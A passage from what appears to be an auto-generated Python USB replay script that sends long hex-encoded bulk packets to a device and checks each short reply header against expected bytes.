b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF5\\xB1\\x30\\x19\\x99\\x72\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2E\\xA2\\x44\\xE5\\xB6\\x3C\\x5F\\x69\"\n b\"\\xD1\\xDE\\x57\\xD8\\x5A\\x96\\x6C\\xD5\\x0C\\x79\\xFF\\xDF\\xDC\\xB1\\x5F\\x2A\"\n b\"\\x0E\\xA4\\x4C\\xC5\\xE3\\xC1\\x7D\\xFD\\xA8\\x34\\x79\\x5A\\x18\\x7D\\x56\\x1D\"\n b\"\\x0B\\xC4\\x5A\\xFF\\x6A\\x66\\xD7\\x39\\xE4\\x4A\\x42\\x80\\xC0\\x71\\x5C\\x9C\"\n b\"\\xE9\\xE5\\x9B\\xBB\\x4E\\xF8\\x70\\x49\\x2D\\xBA\\x9C\\x61\\x7E\\xAD\\x0F\\x05\"\n b\"\\xD1\\x8C\\xAB\\xEC\\x92\\xD2\\xB7\\x37\\xFC\\xC8\\xEC\\xB0\\xEB\\xD0\\x72\\x24\"\n b\"\\x03\\xC1\\x9E\\xEB\\x22\\x2E\\xBA\\x2B\\x3D\\x9B\\x39\\x15\\x11\\x9D\\x1E\\x3B\"\n b\"\\xCF\\x66\\x59\\x38\\xA2\\x86\\xCB\\xEC\\x52\\x6C\\x76\\xB2\\xCE\\xC9\\x31\\xD7\"\n b\"\\x28\\xAE\\xE8\\x36\\x16\\xBD\\xC5\\xA6\\x76\\xF0\\xBD\\xAC\\x6C\\x4C\\x59\\x9E\"\n b\"\\x25\\xA7\\xC8\\x27\\x9B\\xDE\\xCE\\x1A\\x95\\x6E\\x14\\x09\\x55\\x04\\x7F\\xC3\"\n b\"\\xAC\\xA7\\x53\\x80\\x59\\x51\\xE5\\x26\\x02\\x18\\x3B\\x60\\xFB\\xCC\\x2E\\xAA\"\n b\"\\x37\\x41\\xAA\\x8C\\xB2\\x5F\\xAB\\x1A\\x1E\\x9B\\x2B\\x54\\xE4\\x6E\\xAA\\x3D\"\n b\"\\x4D\\x5A\\x81\\xAA\\xAC\\xCE\\xB1\\x5B\\xCC\\xFC\\xC9\\x2C\\x27\\xDA\\x8C\\xDB\"\n b\"\\x44\\x15\\x07\\xC8\\x52\\xB4\\x0B\\x94\\x99\\x38\\x7F\\x88\\xDC\\x78\\x6B\\x02\"\n b\"\\x24\\x31\\x38\\x32\\x20\\x4A\\x13\\x91\\x3F\\xBE\\xB7\\xE1\\x6E\\x56\\x32\\xD4\"\n b\"\\xA4\\x85\\x6D\\xE0\\xA5\\x2E\\xE4\\x9F\\x0B\\x16\\xA0\\x1F\\x92\\x2C\\x09\\xB6\"\n b\"\\x16\\x34\\x54\\xAC\\xDE\\xF9\\x0F\\xE3\\xBF\\xF2\\xDB\\x26\")\n # Generated from packet 2347/2348\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2347/2348\")\n # Generated from packet 2349/2350\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x30\\xE5\\x5C\\x21\\xE7\\x5A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC0\\xEC\\x6A\\xFD\\x55\\x5C\\x8B\\x26\"\n b\"\\xEC\\xB2\\x8E\\x0A\\xF0\\xE2\\xCD\\x57\\x5B\\x7A\\xC6\\xB0\\x73\\x7F\\x81\\x04\"\n b\"\\x35\\xA4\\xFD\\x0A\\x74\\xFF\\x12\\x66\\xA0\\xB2\\x50\\x41\\xE2\\x24\\x6B\\xE3\"\n b\"\\xA0\\x90\\x31\\x33\\xD1\\x10\\x5A\\xF2\\x30\\x66\\x6E\\x99\\x0B\\x53\\x58\\x18\"\n b\"\\xAD\\x4E\\xDF\\xE6\\x0C\\xBB\\x55\\xCE\\xB1\\x94\\x05\\xE1\\x48\\xC5\\x9C\\xAC\"\n b\"\\x54\\xC5\\x39\\xA6\\x5F\\xA6\\x6B\\xCB\\x79\\xCD\\xBE\\x99\\xEC\\x4C\\xA4\\x8E\"\n b\"\\x42\\x46\\x2B\\xCC\\x97\\x49\\x66\\xFC\\xEB\\x9F\\xDC\\x19\\xC2\\xCA\\x29\\xAC\"\n b\"\\x96\\x7A\\x27\\x7C\\x87\\xDD\\x1A\\xD6\\x2F\\xFF\\x97\\xA6\\x17\\x26\\xF3\\xB9\"\n b\"\\xEE\\xD7\\x88\\xE5\\x46\\xC9\\xA3\\x90\\x85\\x88\\xF3\\x54\\xBC\\x56\\xD7\\x5C\"\n b\"\\x4C\\x42\\x76\\xA3\\x0E\\xF0\\x1A\\xA8\\x52\\xEE\\xAE\\xF1\\xEF\\x90\\x96\\x92\"\n b\"\\xB7\\xFB\\xC3\\x6D\\x34\\x97\\x1B\\xA5\\x73\\xAA\\x3D\\x9E\\x84\\xEB\\x12\\x0E\"\n b\"\\x4E\\x88\\x26\\x10\\xCF\\xE2\\x94\\xFE\\x75\\x29\\xB7\\x2A\\x43\\xFF\\x6B\\x62\"\n b\"\\xB9\\x9B\\x7E\\xB9\\x54\\xE0\\x2E\\xCA\\xFC\\x83\\x3F\\x2D\\xA3\\x1B\\x26\\x6C\"\n b\"\\xAB\\xAB\\x0E\\x45\\xD1\\xAE\\x29\\xF3\\xDE\\x43\\xED\\xFA\\x49\\xC1\\x3E\\xD6\"\n b\"\\x31\\xE8\\x49\\x64\\xFC\\x87\\x24\\x6D\\x39\\x1D\\x7E\\x52\\x9D\\xCA\\xF6\\xE0\"\n b\"\\x0C\\x82\\x41\\x23\\x40\\x61\\xB2\\x4A\\xE7\\x1E\\x3C\\x69\\x81\\x4E\\x44\\xD5\"\n b\"\\x21\\xE5\\x16\\x5B\\xE2\\x83\\x49\\x87\\x5D\\xB3\\x4D\\xBE\")\n # Generated from packet 2351/2352\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2351/2352\")\n # Generated from packet 2353/2354\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9A\\x93\\xC1\\x88\\x3D\\x5D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAA\\x92\\x94\\x95\\x9C\\x09\\x85\\x8D\"\n b\"\\xB3\\x1F\\x22\\x35\\xBA\\x09\\x87\\x79\\x83\\xFE\\x34\\x07\\xD0\\x91\\x14\\x8E\"\n b\"\\xA9\\x5A\\xA7\\x5C\\xD9\\xEF\\x7D\\x6B\\xA1\\xC3\\x2D\\xE7\\x43\\x3B\\xD6\\x70\"\n b\"\\x72\\xBD\\x11\\x9D\\x29\\xDD\\x02\\x55\\x4A\\xC2\\x52\\xCF\\x4B\\x2B\\x62\\x65\"\n b\"\\x1F\\x38\\xA7\\x1A\\x7A\\xEA\\x4F\\xC7\\xF7\\xE8\\x86\\xFF\\xC9\\x28\\xF6\\x77\"\n b\"\\xE0\\x9E\\xA0\\x3C\\x65\\x55\\x2A\\x62\\x7D\\x0F\\xDE\\x2F\\xC3\\xFD\\x6C\\x4D\"\n b\"\\xB9\\x82\\x19\\xE9\\x1A\\xC8\\x91\\x31\\x9D\\x9E\\x58\\x70\\x18\\xF3\\x04\\x24\"\n b\"\\x6E\\x86\\x3D\\x4A\\x93\\x67\\x4D\\xED\\x56\\x23\\xEB\\xF7\\xD3\\x4E\\xBB\\x96\"\n b\"\\xDB\\x5F\\x82\\xD8\\xE4\\x05\\x0A\\xED\\x1B\\x27\\xA8\\x20\\xB1\\x06\\xC4\\xA8\"\n b\"\\x46\\xF1\\xA3\\x7C\\x58\\x50\\x7E\\xA1\\x4F\\x6A\\x10\\x64\\xDD\\xE0\\xD4\\x12\"\n b\"\\xFE\\x44\\x74\\x37\\xBC\\xF0\\x05\\x4D\\x59\\x17\\x3F\\x23\\x5A\\xCF\\x54\\x73\"\n b\"\\x9D\\xA2\\xBF\\xDC\\xA1\\x3B\\x64\\x13\\x72\\x5B\\x9F\\xF9\\x20\\x3D\\x6F\\xA8\"\n b\"\\xB7\\x47\\xD8\\x5D\\xA7\\xCD\\x51\\xF2\\x17\\x31\\x25\\x37\\x6E\\x65\\xEA\\xD0\"\n b\"\\x21\\x49\\x21\\xCA\\x02\\x8C\\x9E\\x93\\xAB\\x60\\x19\\x88\\x75\\x7A\\x74\\x56\"\n b\"\\x52\\xD6\\xD9\\x9E\\xA4\\xA3\\x0A\\x54\\xAA\\x77\\xF9\\x8D\\xE7\\xC5\\x8F\\x78\"\n b\"\\x9D\\x33\\xEF\\x10\\x44\\x48\\x0D\\x2F\\x38\\xB5\\xA8\\xD2\\x2B\\x06\\xBC\\x1E\"\n b\"\\xF9\\xE8\\x51\\x58\\x61\\xE2\\x5C\\xE0\\x24\\xB5\\x56\\xBD\")\n # Generated from packet 2355/2356\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2355/2356\")\n # Generated from packet 2357/2358\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB3\\xD3\\x7A\\xBC\\xB1\\x72\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0B\\xB0\\x28\\x2C\\x53\\x54\\xCF\\x81\"\n b\"\\xC9\\xA4\\xE5\\xF9\\x1B\\xDE\\x72\\xB9\\x43\\x20\\xF7\\x3F\\x65\\x85\\xFF\\x1D\"\n b\"\\xC1\\xAE\\x44\\x23\\xDC\\x1D\\x4E\\xD8\\xEC\\xB2\\x80\\x41\\x82\\x0C\\xE6\\x09\"\n b\"\\xC8\\xA8\\x8C\\x1D\\x6B\\xFA\\x57\\x8F\\x10\\x66\\x6B\\x4C\\x3E\\x42\\xB0\\x98\"\n b\"\\xCB\\x64\\x88\\xB4\\x34\\x64\\x64\\xE7\\x76\\x6D\\x5E\\x6F\\x9F\\x99\\xB1\\xD9\"\n b\"\\xF5\\x25\\xBF\\x2B\\xF4\\xAF\\xDE\\x67\\x56\\x61\\xF5\\x10\\xD4\\x16\\x19\\xB8\"\n b\"\\xBA\\x6E\\xD3\\xD9\\xD5\\x74\\x1C\\x3B\\x21\\xAB\\xE4\\xA1\\x0F\\xB8\\x9F\\xE6\"\n b\"\\x7B\\xB8\\x3C\\x3B\\x4E\\x1B\\x03\\x82\\x4C\\xD3\\x54\\x13\\x0E\\x6D\\x2E\\xA7\"\n b\"\\x44\\x9A\\xB0\\xBF\\xD9\\x22\\x46\\x92\\x2F\\xB7\\xC3\\x93\\x9C\\x0D\\x21\\x91\"\n b\"\\x13\\x34\\x01\\x77\\x2C\\x98\\xC3\\xA0\\x91\\xA1\\xA0\\x6F\\xE1\\x53\\x9F\\x66\"\n b\"\\xB9\\x44\\x73\\xCC\\x43\\x7E\\xE4\\x6D\\xD4\\x6B\\x90\\xF8\\x1C\\xEF\\xBB\\xEF\"\n b\"\\xAB\\x18\\xBB\\xB8\\xAE\\x1F\\x10\\x9E\\x58\\x1F\\x8E\\x67\\x83\\xA0\\x5D\\x84\"\n b\"\\x99\\x34\\x45\\x30\\x40\\xE5\\xAF\\x05\\xA3\\xE4\\x6E\\x72\\xD8\\xC0\\x86\\xBF\"\n b\"\\x66\\xDD\\x93\\x45\\xF2\\xD4\\x73\\xF1\\xBF\\x9B\\xBF\\xB4\\x5D\\x2C\\x45\\xD0\"\n b\"\\x48\\xF7\\x72\\x4B\\x6A\\x2E\\xAE\\xD3\\xCD\\xF5\\x62\\x80\\x1F\\xA5\\x03\\x07\"\n b\"\\xB6\\xE5\\x05\\xF0\\x3B\\x19\\xAF\\xF6\\xEA\\x83\\xA3\\xB4\\x16\\x67\\xE9\\x82\"\n b\"\\x37\\x17\\x23\\xC8\\xB5\\xCD\\x8E\\xA0\\x4E\\x54\\xF0\\x1C\")\n # Generated from packet 2359/2360\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2359/2360\")\n # Generated from packet 2361/2362\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6F\\x2B\\xFD\\x24\\x60\\x32\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7A\\x0C\\xD9\\x35\\x57\\xCE\\x22\\x56\"\n b\"\\x45\\x18\\x86\\x1C\\x3B\\x64\\x28\\x93\\xAD\\x49\\x0F\\x83\\xF7\\x1D\\x0B\\x91\"\n b\"\\xA8\\xF3\\xCE\\xE5\\x07\\xCA\\x8A\\xF1\\x54\\xD2\\x5A\\x52\\xE7\\x65\\xE9\\xB8\"\n b\"\\xEE\\x83\\xB9\\x03\\x8E\\x35\\x30\\x80\\xB9\\xE0\\xC5\\x6B\\x1B\\xB7\\xF0\\xE4\"\n b\"\\x30\\xCF\\xA4\\x3F\\x40\\x2A\\x66\\xC4\\xA8\\xDA\\xAC\\xE0\\x1E\\x72\\x8A\\xAB\"\n b\"\\xAC\\x06\\xD4\\x5F\\xC2\\x39\\xB2\\xFB\\x69\\x0F\\x78\\x4B\\x78\\x5C\\x0E\\xC6\"\n b\"\\x5B\\x54\\xE7\\x85\\x2D\\x3E\\xFA\\xED\\xF3\\x07\\xC0\\x47\\xBF\\x3B\\xDE\\xD7\"\n b\"\\x7F\\x30\\xAE\\x80\\xC3\\xEE\\x94\\x89\\xD3\\xC9\\x8D\\xA6\\x34\\x1F\\x33\\x79\"\n b\"\\x7B\\xC0\\x0F\\xF3\\x91\\x23\\x31\\x1F\\x92\\x65\\xA0\\x38\\x14\\x8E\\xE4\\x04\"\n b\"\\xB3\\x31\\x2B\\x21\\xB4\\x5D\\xB2\\x64\\xD9\\x0C\\x06\\x9C\\x30\\x9A\\x48\\xAC\"\n b\"\\x32\\x71\\xF3\\xF8\\xD6\\xAA\\x52\\x5C\\xB1\\xAD\\xE0\\x23\\xFF\\x50\\x05\\x4D\"\n b\"\\xE2\\xBB\\xB2\\xD3\\xD4\\x78\\x02\\x33\\x5A\\x95\\x3B\\x58\\x79\\xD9\\xB7\\x9D\"\n b\"\\xC2\\x54\\x78\\x27\\x19\\x70\\x8F\\x3B\\x8A\\xEA\\x28\\x0E\\x1C\\x70\\x1D\\xBB\"\n b\"\\xB0\\x5E\\x08\\xF5\\x40\\x59\\x1E\\x44\\xE6\\x63\\xBF\\x7F\\xF9\\xDE\\x8A\\x4A\"\n b\"\\x98\\x18\\xCB\\xDC\\x33\\x9D\\xE7\\xD6\\xFF\\x98\\xAB\\x6A\\x4F\\xAF\\x9A\\xCB\"\n b\"\\xC7\\x3A\\xF2\\x3B\\xA1\\xF2\\x1B\\x2C\\x96\\x4B\\xEB\\xB5\\xE7\\xB2\\x7F\\x6F\"\n b\"\\x25\\xA1\\x86\\x9A\\x77\\x06\\x5D\\x09\\xC0\\xE5\\x69\\x09\")\n # Generated from packet 2363/2364\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2363/2364\")\n # Generated from packet 2365/2366\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDE\\x61\\x22\\xAC\\xDE\\x32\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFE\\x0D\\x99\\x23\\x99\\x08\\x72\\xF1\"\n b\"\\x01\\x3E\\xC5\\xA8\\x52\\x24\\xCD\\x81\\x26\\x85\\xC4\\xC7\\x45\\x9A\\x0D\\xD3\"\n b\"\\x38\\x2B\\x43\\xEA\\xBC\\xAB\\xAB\\x09\\x1C\\x14\\x7B\\x78\\x69\\x8F\\x23\\xDC\"\n b\"\\x94\\x0D\\x39\\xD2\\x4E\\x8B\\x04\\x27\\xC0\\x2F\\xE2\\xD2\\xB5\\xC2\\xD4\\x94\"\n b\"\\x1F\\xA6\\x23\\xBE\\x01\\x4A\\x22\\x54\\x5C\\xE4\\xE7\\x55\\x97\\x4D\\x0C\\xE5\"\n b\"\\xBB\\xB5\\x0F\\x0B\\x8C\\x27\\x4D\\x66\\x47\\x9C\\x46\\xC4\\x50\\xB8\\xCC\\x65\"\n b\"\\xC8\\x0E\\x23\\x59\\xFC\\xFB\\xDF\\xC6\\x9F\\x10\\xB7\\x84\\x5F\\x54\\xEE\\x4E\"\n b\"\\xAB\\x5B\\x48\\x71\\x0B\\x94\\x4A\\x11\\x67\\xAA\\xFF\\x2F\\xEA\\xAA\\x12\\x49\"\n b\"\\xE7\\x93\\x18\\x88\\xA8\\xEF\\x5D\\x5B\\x99\\xEB\\x14\\x94\\xBC\\x93\\x00\\xB1\"\n b\"\\x49\\xEC\\x0D\\xD2\\x6F\\x36\\xEF\\x55\\x45\\x67\\xC3\\xEB\\xB4\\x25\\x37\\x5B\"\n b\"\\xA6\\xFF\\xB6\\xFF\\xED\\xE3\\x17\\xD6\\x4F\\x68\\x34\\x18\\x18\\xE8\\xFF\\x86\"\n b\"\\x3E\\xA9\\xF6\\x4F\\x66\\x45\\x89\\x83\\xE9\\x4F\\x23\\xE6\\xFE\\x3F\\x4A\\x1B\"\n b\"\\x43\\x1F\\xE7\\xCA\\x24\\x7B\\x2C\\x90\\x3F\\x36\\x26\\x64\\x74\\x49\\x7E\\x3C\"\n b\"\\xD3\\x9D\\x34\\x53\\xC1\\x0A\\xC8\\xDC\\x8F\\x13\\x15\\xB9\\x31\\xFA\\x32\\x6F\"\n b\"\\x5F\\xEC\\x57\\x1C\\x38\\xD5\\x21\\x48\\x27\\xAB\\x74\\xD1\\x77\\x76\\x34\\x3A\"\n b\"\\x41\\x67\\x25\\x6A\\x11\\xF2\\x43\\x5C\\x42\\x9C\\x37\\xF7\\xA0\\x10\\x58\\xE9\"\n b\"\\x49\\xC1\\xB8\\x8B\\xC6\\x41\\x04\\x09\\xEC\\x4D\\xEE\\x23\")\n # Generated from packet 2367/2368\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2367/2368\")\n # Generated from packet 2369/2370\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7A\\xE3\\xC2\\xD0\\xB1\\x73\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD8\\x76\\x6D\\x87\\x00\\xA1\\x83\\x0B\"\n b\"\\xD8\\xEF\\x29\\x89\\x11\\xAF\\xEF\\x6C\\x54\\x54\\xCA\\x5D\\xE1\\xD8\\x39\\xA5\"\n b\"\\xE6\\x83\\x3D\\xEA\\xFB\\xA6\\x68\\x2E\\x0A\\xDA\\x0B\\xE4\\x4D\\xA6\\x8F\\x3E\"\n b\"\\xD6\\xE2\\xD9\\x59\\x25\\x1E\\xC1\\xB7\\x1E\\x25\\x1A\\x71\\x32\\x1D\\x83\\x89\"\n b\"\\x12\\xE7\\xD0\\xBA\\x4A\\xFA\\xD4\\xE5\\x9D\\x81\\x1B\\xFC\\x61\\xA7\\xBD\\xFE\"\n b\"\\xC7\\x72\\xBB\\xC3\\x2B\\x90\\xC1\\x78\\x4C\\x12\\xA2\\xAE\\x64\\xAA\\x0A\\x08\"\n b\"\\x74\\x7C\\x72\\x40\\xE2\\x1B\\x3D\\x0D\\x75\\x93\\xFC\\x33\\x72\\xBC\\xE4\\x93\"\n b\"\\x72\\xD5\\x37\\x59\\xC4\\x2F\\x56\\x2F\\xCB\\x0E\\x91\\xDD\\xDB\\x58\\xEB\\x02\"\n b\"\\xE2\\xFE\\x6D\\xE2\\x9E\\x1A\\x5A\\x96\\x4B\\x19\\xB7\\x9F\\x50\\xC6\\xB6\\x81\"\n b\"\\xC4\\x9E\\xED\\xC6\\xC2\\xA9\\xA5\\x89\\x0A\\xC8\\x47\\x97\\x07\\x61\\x89\\x86\"\n b\"\\x0F\\xE8\\xB4\\x50\\x62\\xBE\\x35\\x12\\x77\\x87\\x0A\\xF3\\xF8\\xCB\\x45\\x95\"\n b\"\\x28\\x2D\\x28\\x6C\\x0F\\x49\\xF4\\x62\\x03\\x94\\x43\\xD2\\x90\\x68\\x6E\\xDF\"\n b\"\\x1A\\xEF\\x98\\xA7\\xD4\\x81\\x67\\x7D\\xA4\\x32\\xFE\\x4D\\xC2\\x2C\\xD1\\x83\"\n b\"\\x31\\xF9\\x23\\x30\\x09\\x1B\\x46\\xC1\\x6F\\xE6\\xDC\\x2B\\x34\\x6E\\x05\\xC2\"\n b\"\\xF8\\x50\\x5B\\x5C\\x32\\x4A\\xC1\\x1B\\xCB\\x36\\xB4\\xED\\xE1\\x63\\x83\\x3C\"\n b\"\\xB9\\x1F\\x98\\x4D\\x01\\x13\\x90\\x74\\x4F\\xEA\\xBD\\x7E\\x2E\\xA7\\x63\\xF5\"\n b\"\\x92\\x79\\x4C\\xEF\\xF2\\xC8\\xA1\\x5E\\xB6\\x02\\x5D\\xDC\")\n # Generated from packet 2371/2372\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2371/2372\")\n # Generated from packet 2373/2374\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1B\\xED\\xF9\\x80\\x80\\x27\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDA\\x83\\x91\\xC7\\x03\\xC4\\xC5\\xBD\"\n b\"\\xBA\\xD2\\x37\\xD7\\x63\\x47\\x44\\xE2\\xEF\\x1D\\xF4\\x6B\\x75\\x41\\x67\\xE1\"\n b\"\\x57\\x03\\xAD\\x23\\x98\\xA9\\x9B\\x1E\\xE3\\x1C\\x29\\x9F\\x77\\x61\\xAB\\xB6\"\n b\"\\x9C\\xE2\\x86\\xB0\\x9A\\xB1\\x8A\\x48\\xA9\\x12\\xD9\\xD6\\x47\\x9A\\xDA\\xC8\"\n b\"\\x7B\\xC7\\x19\\xE1\\xAD\\x68\\x78\\x17\\x00\\xFD\\x24\\xD3\\xA6\\xE7\\xF7\\xC4\"\n b\"\\x4E\\xAD\\x1B\\x12\\x39\\xDD\\x2D\\x55\\x9B\\x9B\\x90\\x6D\\xA3\\xBD\\x72\\x4B\"\n b\"\\x4C\\x84\\xAE\\xD1\\xE3\\x20\\x83\\xB0\\x8F\\xA7\\x9D\\xA8\\x1E\\xF1\\x0D\\xE5\"\n b\"\\x71\\x1B\\x21\\x4E\\xD2\\x94\\x98\\x78\\x3C\\x28\\xE3\\x15\\x55\\x02\\x3D\\x10\"\n b\"\\xDB\\x76\\x8F\\xA1\\x87\\x0D\\x7A\\x39\\x3B\\x5E\\x0E\\x36\\x51\\xC7\\x0C\\x6A\"\n b\"\\xC9\\x66\\x4E\\x4F\\xD3\\xD2\\x3A\\xF7\\x00\\xAB\\x1F\\xBA\\xFB\\xAF\\xB1\\xB9\"\n b\"\\x74\\xD4\\xB1\\xF6\\x2B\\xAD\\x64\\x1C\\x6E\\x97\\x6A\\x3C\\x96\\x64\\xCB\\x38\"\n b\"\\x5A\\xA9\\x6C\\xA8\\x0C\\x54\\xCE\\x28\\x97\\x09\\x80\\x54\\x28\\x4C\\x41\\x3D\"\n b\"\\x15\\x78\\xD2\\x12\\xF6\\xA1\\x0E\\xE1\\xF0\\x5D\\xDD\\x2A\\xDB\\xDD\\x4A\\x9F\"\n b\"\\x4F\\xF2\\xDF\\x09\\x64\\x41\\x6C\\x97\\xAC\\x1A\\xC4\\x18\\x0C\\x04\\x71\\xB4\"\n b\"\\x0E\\x62\\xFC\\xCE\\x1C\\x3C\\xC6\\xB3\\x24\\x08\\xF7\\x81\\xFA\\x68\\x02\\x9B\"\n b\"\\x59\\xBB\\x16\\x18\\x19\\xF5\\x64\\x06\\x10\\x4C\\xB9\\x0E\\xDE\\xBB\\x86\\x3C\"\n b\"\\x62\\x2E\\x48\\xA8\\x30\\xC4\\xE8\\x9F\\xFF\\x6E\\x9C\\xA3\")\n # Generated from packet 2375/2376\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2375/2376\")\n # Generated from packet 2377/2378\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x04\\x16\\xAA\\xEA\\xAD\\x31\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8D\\x1D\\xF2\\xFE\\xF0\\x8B\\x7E\\xC8\"\n b\"\\x27\\xCC\\x6E\\x18\\x52\\xA6\\xE1\\x07\\xF4\\x82\\x7A\\x69\\xD3\\x18\\x8D\\x81\"\n b\"\\x89\\x6D\\xBC\\xFE\\x0F\\x6C\\xC2\\xE4\\xF0\\x7B\\x08\\xC2\\x40\\x7D\\x33\\x6A\"\n b\"\\x81\\xAB\\x49\\xEF\\xD2\\xBE\\x7B\\xE4\\x11\\xC3\\x67\\x3F\\xDF\\x96\\x1A\\x8F\"\n b\"\\x3F\\x9E\\x78\\x17\\x93\\x1E\\x38\\xEA\\xD0\\x3E\\x40\\xB2\\x14\\x3C\\x9E\\x7C\"\n b\"\\xC2\\x8D\\xCC\\x98\\x89\\x55\\xFF\\xEF\\x65\\x02\\xC4\\x12\\xEC\\xC9\\x64\\x27\"\n b\"\\xAE\\x7D\\x05\\x5D\\x5B\\xDB\\x3F\\x33\\x48\\x42\\x54\\x73\\x8F\\xAE\\xBF\\x5C\"\n b\"\\xA3\\xBE\\x72\\x9E\\xAB\\xD5\\x9E\\xD7\\xC4\\x40\\x1D\\x5C\\x2D\\x37\\x48\\xAE\"\n b\"\\x25\\xFE\\x85\\x02\\xC5\\x1C\\xEC\\x8D\\xE7\\x23\\xFC\\x24\\xCE\\xD8\\xBA\\x6E\"\n b\"\\x84\\xD2\\x7A\\x2C\\xB5\\x1B\\xC0\\x3E\\x6B\\x47\\x3C\\xD5\\x40\\x5B\\xD9\\x9E\"\n b\"\\xB6\\x2E\\x1A\\x15\\xB8\\xFA\\xE9\\x89\\xE3\\x8C\\xC2\\x7A\\x79\\x4E\\x8F\\xA0\"\n b\"\\xC6\\x26\\x9D\\x91\\xAA\\x98\\x71\\x68\\x3D\\x20\\x64\\x97\\xE0\\x9F\\xA8\\x6A\"\n b\"\\x2B\\x2C\\x5A\\x43\\x12\\x9C\\xDB\\x5B\\x70\\x7D\\x84\\xF6\\x79\\xA0\\x56\\xBA\"\n b\"\\x54\\x7D\\xA3\\xB0\\x52\\x53\\xE9\\xF7\\x88\\x68\\x7B\\x8A\\x61\\xCD\\xD9\\x32\"\n b\"\\x88\\xCE\\xEB\\xC1\\x62\\xB7\\x8C\\xC9\\x09\\x80\\x04\\xF5\\x04\\x08\\xDB\\xDA\"\n b\"\\xEF\\x9D\\x63\\x67\\x84\\x07\\xA3\\xFA\\x42\\x71\\x08\\xE7\\x56\\x01\\x14\\x9E\"\n b\"\\x2F\\x58\\x41\\x6E\\x0D\\x49\\xE2\\x69\\xE2\\x45\\x55\\x90\")\n # Generated from packet 2379/2380\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2379/2380\")\n # Generated from packet 2381/2382\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD0\\x89\\xAD\\x8B\\x08\\x49\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x26\\xDE\\xC2\\x29\\x2A\\x41\\x71\\x13\"\n b\"\\x20\\xCE\\x4F\\x56\\x7F\\x6D\\x62\\x9A\\x35\\x71\\x54\\xDE\\x07\\x51\\xA5\\x57\"\n b\"\\x0D\\xE6\\xF8\\x25\\x48\\xF2\\xA2\\x1F\\x5F\\xCC\\x20\\x90\\xE8\\x50\\xB8\\x18\"\n b\"\\xCA\\xC5\\x61\\x22\\x77\\x9B\\xFD\\x87\\xBA\\xFE\\xC9\\xB3\\x67\\x21\\xB7\\xBF\"\n b\"\\x56\\x43\\x97\\x16\\x36\\xEE\\xE3\\x82\\xA5\\xBF\\x18\\x79\\xD5\\x95\\x9F\\x86\"\n b\"\\xCC\\x4C\\x86\\x24\\x78\\x32\\xE1\\xC6\\x6F\\xF6\\x46\\xF8\\x2F\\xA8\\x15\\xCF\"\n b\"\\x3D\\xFD\\x9A\\x45\\x49\\x56\\xD3\\x64\\x7F\\x97\\x96\\xAE\\x57\\xB6\\xA7\\xE1\"\n b\"\\x06\\xF2\\xDC\\xB5\\x6E\\x8C\\x7B\\x30\\xE9\\x30\\xEC\\x25\\xDE\\x2B\\x9F\\x8D\"\n b\"\\xB0\\x32\\xCD\\x42\\xEF\\x8D\\x04\\xB6\\x8D\\x6D\\x2C\\xB9\\x83\\xA7\\xB9\\xEE\"\n b\"\\xC3\\x01\\xEE\\x8E\\x4F\\xB3\\x8B\\xB6\\x9C\\x9C\\x1D\\x19\\xF0\\xAD\\x29\\x30\"\n b\"\\x93\\x1E\\x9E\\x25\\x56\\x30\\x56\\x8A\\xEC\\xCB\\x6D\\xA5\\x38\\xDD\\xEB\\x70\"\n b\"\\xC6\\x38\\x82\\xAA\\xE5\\x32\\xCC\\x33\\xEB\\xA0\\xDB\\x55\\x5E\\x71\\x2A\\x86\"\n 